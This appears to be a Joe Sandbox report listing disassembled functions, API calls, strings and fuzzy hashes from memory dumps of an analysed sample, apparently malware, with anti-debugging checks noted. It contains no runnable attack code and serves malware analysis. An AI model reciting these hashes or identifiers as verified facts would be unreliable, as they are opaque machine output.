Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a49fc4e8feb76ac81d2c6d2072d345d557f948200bca2e785ce941fdb16215
Instruction ID: fbbbe7aa32a0db59b3d5bc24096085b0fbd5a70cf93c42cae1587dc644271074
Opcode Fuzzy Hash: 52a49fc4e8feb76ac81d2c6d2072d345d557f948200bca2e785ce941fdb16215
Instruction Fuzzy Hash: 42D0673580810ECBCB08EFA5F86B4BDBB78EA14201F4042ADE90752690EA756956CFC1

Function 0565BFF0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 132afeb390f88fe2fd8b0da9b59988dd47e0c83b4e3eb29d2e7b831702fcfbfb
Instruction ID: 3054d9e20309a5ff29b73b7d0ff1709c209c95a89bb10724ab8b32a800198418
Opcode Fuzzy Hash: 132afeb390f88fe2fd8b0da9b59988dd47e0c83b4e3eb29d2e7b831702fcfbfb
Instruction Fuzzy Hash: 07D067B5A082099FCB44EFA4E54686EBBB5EB48305F008269D91A93390DA35AC52CFD1

Function 0565B6A0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8c1e6d5dcb4fabb3f0e6c73df01f2da4210d796b9bb24602d588223c2ef0fa
Instruction ID: 7927c2b7723f9c72757583161621427ab6f5c6e4c93ea75cc3c1906e0012ccf1
Opcode Fuzzy Hash: 7d8c1e6d5dcb4fabb3f0e6c73df01f2da4210d796b9bb24602d588223c2ef0fa
Instruction Fuzzy Hash: E3C08C3A24D3A12FDF0F4A3458126E57B328E43212305C0BBC0C2CA083CE284986CBDA

Function 05650448 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c6e74b58936449aececea2aee2d6dbb61a893e15c32d40a83f99a2343a5f356
Instruction ID: 194a412c8545e2372ffd749c0ec76cd3dddcaea925808ab745e05e872340013e
Opcode Fuzzy Hash: 9c6e74b58936449aececea2aee2d6dbb61a893e15c32d40a83f99a2343a5f356
Instruction Fuzzy Hash: 47C04C3460470447CA0C77BAE91D42D3B9E9BDCA127125478A90787794DE64AC808975

Function 0565B148 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e36bb1d585d6cddfa40316c43e6e50f1227491a0707cf5625871ed9f42bcf29
Instruction ID: dc2959aa430883cbc396e40b6dbc7d3c21cc7d5f01ae2fbaeb7bbad0cdc414e9
Opcode Fuzzy Hash: 1e36bb1d585d6cddfa40316c43e6e50f1227491a0707cf5625871ed9f42bcf29
Instruction Fuzzy Hash: A6B0923404530DCFC2186FB5A409824776DAB8120638404A8E42A0A2928F3BEC41CE54

Function 0565AC30 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 968639913549653175c8134cdf6eab21911d094f9f75be62b254ed61a44a9fe9
Instruction ID: 8e9bed3b647092e853f8debcb958c892a3bc2cbe063e0a9000abbca76b7cf3d3
Opcode Fuzzy Hash: 968639913549653175c8134cdf6eab21911d094f9f75be62b254ed61a44a9fe9
Instruction Fuzzy Hash: 58A00237A5421947BF4DDE358A5AA3A2A7367C2211704D47A6643C0154CDB44486D614

Non-executed Functions

Function 001B0BB6 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001A626F: GetLastError.KERNEL32(00000000,?,001AB875), ref: 001A6273
Part of subcall function 001A626F: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 001A6315

GetACP.KERNEL32(?,?,?,?,?,?,001A4079,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 001B0C75
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,001A4079,?,?,?,00000055,?,-00000050,?,?), ref: 001B0CAC
_wcschr.LIBVCRUNTIME ref: 001B0D40
_wcschr.LIBVCRUNTIME ref: 001B0D4E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 001B0E0F

Strings

utf8, xrefs: 001B0D7E

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: 098d373b585db1042eb72b163e717d8569b72a57fa421b0057b48d8f9b0f5554
Instruction ID: 68b55f60f4436cea9eca6f427b6b021aa4d7e83c9e8470aee37e658591355353
Opcode Fuzzy Hash: 098d373b585db1042eb72b163e717d8569b72a57fa421b0057b48d8f9b0f5554
Instruction Fuzzy Hash: 4571F335600606AADB26ABB4CC42BFB77A8EF1D700F15456AF645D75C1EB70ED80C7A0

Function 001B2229 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 001B2440

Strings

1#QNAN, xrefs: 001B233C
1#INF, xrefs: 001B235F
1#SNAN, xrefs: 001B2335
1#IND, xrefs: 001B232E

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: b1bd24168f6b80db796b9a0a7e1e3d5fce6737d6d38a91a89161fb4701339fb6
Instruction ID: 8cbbe7ec158b348d1512aa2d283539223930bba5ac4f542940ee0a1ad3fc0940
Opcode Fuzzy Hash: b1bd24168f6b80db796b9a0a7e1e3d5fce6737d6d38a91a89161fb4701339fb6
Instruction Fuzzy Hash: BED23A71E082298FDB65CE28CD447EAB7B5FB59305F1441EAD80DE7240EB78AE858F41

Function 001B134F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,001B1661,00000002,00000000,?,?,?,001B1661,?,00000000), ref: 001B13E8
GetLocaleInfoW.KERNEL32(00000000,20001004,001B1661,00000002,00000000,?,?,?,001B1661,?,00000000), ref: 001B1411
GetACP.KERNEL32(?,?,001B1661,?,00000000), ref: 001B1426

Strings

OCP, xrefs: 001B13A3
ACP, xrefs: 001B136D

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 69725144ade8c6dcc85b62d478d2a28e000b07281ebc93ae2df4059ed523b12b
Instruction ID: 4de33b5f9e41fe3f13fe278c044dec9dd01ce24a9a158c8c5c383a16102893b9
Opcode Fuzzy Hash: 69725144ade8c6dcc85b62d478d2a28e000b07281ebc93ae2df4059ed523b12b
Instruction Fuzzy Hash: 3121AF72A00100BADB349F25C925AE777E7FB54BA0B978564E90AD7620F732DE81C390

Function 001B152B Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001A626F: GetLastError.KERNEL32(00000000,?,001AB875), ref: 001A6273
Part of subcall function 001A626F: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 001A6315

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 001B1633
IsValidCodePage.KERNEL32(00000000), ref: 001B1671
IsValidLocale.KERNEL32(?,00000001), ref: 001B1684
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 001B16CC
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 001B16E7

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: c3c068f8572c77bfcc0f2b76daf78d6aceb65d3801a776227963fed652733707
Instruction ID: aa681f6801e74b82523df9bb7ede919763be062d9443dc810e1bd869b65ebedd
Opcode Fuzzy Hash: c3c068f8572c77bfcc0f2b76daf78d6aceb65d3801a776227963fed652733707
Instruction Fuzzy Hash: C051BE71A00205BFDB10DFA5CC95AFE77B9FF19701F4A4569E901E7190EBB09A40CB60

Function 001A1EE0 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a2924bccd8bd00d148e5967d53a5e3b9850b2f358f9603771eb3dee6b8325bb
Instruction ID: 5565531353dcd100881a60e2124d3b3f50417d237cb01aa7a1339adf974215db
Opcode Fuzzy Hash: 3a2924bccd8bd00d148e5967d53a5e3b9850b2f358f9603771eb3dee6b8325bb
Instruction Fuzzy Hash: 16024975E012199BDF14CFA9C9807AEBBB1FF49314F24826AE919E7340D731AA01CB90

Function 0019A477 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0019A483
IsDebuggerPresent.KERNEL32 ref: 0019A54F
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0019A56F
UnhandledExceptionFilter.KERNEL32(?), ref: 0019A579

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 38a0c642c5736f2a21c1816ffb47539d67d71c749e6122b49c47e6b79ed29c80
Instruction ID: e4e5f14e2f86484878deaadeac077b163a6352a1cd785a5948406385e0f800b2
Opcode Fuzzy Hash: 38a0c642c5736f2a21c1816ffb47539d67d71c749e6122b49c47e6b79ed29c80
Instruction Fuzzy Hash: F53116B5D0521CDBDF10EFA4D9897CDBBB8AF18700F5041AAE40CAB250EB709A89CF45

Function 001B0FD3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 001A626F: GetLastError.KERNEL32(00000000,?,001AB875), ref: 001A6273
Part of subcall function 001A626F: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 001A6315

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001B1027
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001B1071
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001B1137

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 8a44a5229c828958a0686f573494b452ab05d6bbbcf918b7ad1a2ff93b851148
Instruction ID: b0bccfe8413ea82bc05dbaf3d06ddfef05b8defb86c424b1bdfcc8a4501d3e9e
Opcode Fuzzy Hash: 8a44a5229c828958a0686f573494b452ab05d6bbbcf918b7ad1a2ff93b851148
Instruction Fuzzy Hash: BC61BF71A10107AFDB28DF28DCA6BFA73A8EF18701F5281A9E905C6585EB34D981CB50

Function 001A1081 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,0019112E), ref: 001A1179
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0019112E), ref: 001A1183
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,0019112E), ref: 001A1190

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a80dee8f21f6f0e35fc4ec1a49dcd92f07eceafc58b41b6f42f96f9b08ba4539
Instruction ID: 479cb8f8566e43df77184553be39d5f886929cf25b01c7f462c878533f3f65ba
Opcode Fuzzy Hash: a80dee8f21f6f0e35fc4ec1a49dcd92f07eceafc58b41b6f42f96f9b08ba4539
Instruction Fuzzy Hash: 0F31B37590122CABCF21DF64D989B8DBBB8BF18750F5042EAE41CA7250EB709B858F45

Function 030744DB Relevance: 2.3, Strings: 1, Instructions: 1070COMMON

Download Yara Rule

Strings

@, xrefs: 03074596

Memory Dump Source

Source File: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_3070000_LisectAVT_2403002B_295.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 82f163e4761bd8698f5f866852cd4e0229762b1cc4392098708726b2277ebcfa
Instruction ID: 150730c5a66947263d378f086c9183cdf08c437a5c255c6fbd4d505153341eaa
Opcode Fuzzy Hash: 82f163e4761bd8698f5f866852cd4e0229762b1cc4392098708726b2277ebcfa
Instruction Fuzzy Hash: B872C530A19B488FDB69DF29C8857A9B3E5FB98314F14462DD88BC7241DF34E942CB85

Function 001ABC46 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,001ABC41,?,?,00000008,?,?,001B4F3A,00000000), ref: 001ABE73

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: a830a9356e4c3b051ab301a6cd434f2a03f83a9776ee4b354e32edd9f0aa0867
Instruction ID: 67eea69e2ab6549bcb1f43e44727c8dbb8fda89b93f058fe39aa4fb5c040a09b
Opcode Fuzzy Hash: a830a9356e4c3b051ab301a6cd434f2a03f83a9776ee4b354e32edd9f0aa0867
Instruction Fuzzy Hash: D2B15D35214648DFD719CF28C4CABA57BE0FF46364F298658E999CF2A2C335D991CB40

Function 0019A6E5 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0019A6FB

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f241b730163d132fdc8107f15597f4dc6e9cc1773ba7e31923eb7a437ecbe38e
Instruction ID: f6005bfc1d2fb9c4573d2cdc9aba173a16baf2004826d6d33585e03d795b16b9
Opcode Fuzzy Hash: f241b730163d132fdc8107f15597f4dc6e9cc1773ba7e31923eb7a437ecbe38e
Instruction Fuzzy Hash: 48518AB1A046058FDB18CFA9E895BAABBF0FF48310F14812AD405EB6A0D775DD85CF91

Function 001ADEA1 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df093f757c5f01a942ac5a2be0e5e8dbebb38adcc73cd0e842099151a712fc57
Instruction ID: 95a1ce10a11b5751867b6f96a382173778de106ecb23e01156e170df1c908d09
Opcode Fuzzy Hash: df093f757c5f01a942ac5a2be0e5e8dbebb38adcc73cd0e842099151a712fc57
Instruction Fuzzy Hash: DC41C779C0461DAFDB10DF69CC89AAABBB9AF56300F1442DDE41AD3201DB359E85CF10

Function 001B1226 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 001A626F: GetLastError.KERNEL32(00000000,?,001AB875), ref: 001A6273
Part of subcall function 001A626F: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 001A6315

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001B127A

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a4a6622a0ed722f322e46dc4c4b005963722c5ee4b286721268fb749981ce095
Instruction ID: 263ad49ebfce45ff5195a929decd81badfb06c2bbd6091ffb814812fa60c725c
Opcode Fuzzy Hash: a4a6622a0ed722f322e46dc4c4b005963722c5ee4b286721268fb749981ce095
Instruction Fuzzy Hash: AD21D132614206BBEF28AF65DC62ABA73ACEF15754F6100BAFD02C6141EB34ED41CB54

Function 0019FC94 Relevance: 1.6, Strings: 1, Instructions: 333COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 0019FE04

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 23a9179c37589ee7b69f8b39425bb3cbb0d67b5931332b18a3b1b3d1e8037601
Instruction ID: 6f9a061477bb1b543dfb8b0a5d4f5370554ec9b476c537869c2cc3e0383c7845
Opcode Fuzzy Hash: 23a9179c37589ee7b69f8b39425bb3cbb0d67b5931332b18a3b1b3d1e8037601
Instruction Fuzzy Hash: 67C1D27590064AAFCF29CFA8C584A7ABBF1BF06314F24462DE452D76A2C331AD47CB51

Function 001B0EAD Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001A626F: GetLastError.KERNEL32(00000000,?,001AB875), ref: 001A6273
Part of subcall function 001A626F: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 001A6315

EnumSystemLocalesW.KERNEL32(001B0FD3,00000001,00000000,?,-00000050,?,001B1607,00000000,?,?,?,00000055,?), ref: 001B0F1F

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 3b7d584325ce1fbbe437630f2070581a2638e4e210f8c1258c9bf0ecf5d39d33
Instruction ID: 88131a438c1fbdda0b5d676e292260b4dc71014c8fe60dcead58f644d7d4abf3
Opcode Fuzzy Hash: 3b7d584325ce1fbbe437630f2070581a2638e4e210f8c1258c9bf0ecf5d39d33
Instruction Fuzzy Hash: D9114C3B6043059FDB289F39C8A16BBB792FF84758B14442CE98687A40D371B943C740

Function 001B1455 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 001A626F: GetLastError.KERNEL32(00000000,?,001AB875), ref: 001A6273
Part of subcall function 001A626F: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 001A6315

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,001B11EF,00000000,00000000,?), ref: 001B1481

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 81eb48bf323adaeee7dcf0367c328b7f497125c0c8c3b1774149a0a09ab0aa23
Instruction ID: fb4212f4288f278c8828103f0278bf9248cac025f1f9cfa6a3e95bb0fdb2c1f0
Opcode Fuzzy Hash: 81eb48bf323adaeee7dcf0367c328b7f497125c0c8c3b1774149a0a09ab0aa23
Instruction Fuzzy Hash: C601D636604112BFDB2C5B248C15BFB3BA9EB40754F568429ED4AE3280EB34FD41C690

Function 001B0F48 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001A626F: GetLastError.KERNEL32(00000000,?,001AB875), ref: 001A6273
Part of subcall function 001A626F: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 001A6315

EnumSystemLocalesW.KERNEL32(001B1226,00000001,00000000,?,-00000050,?,001B15CF,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 001B0F92

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

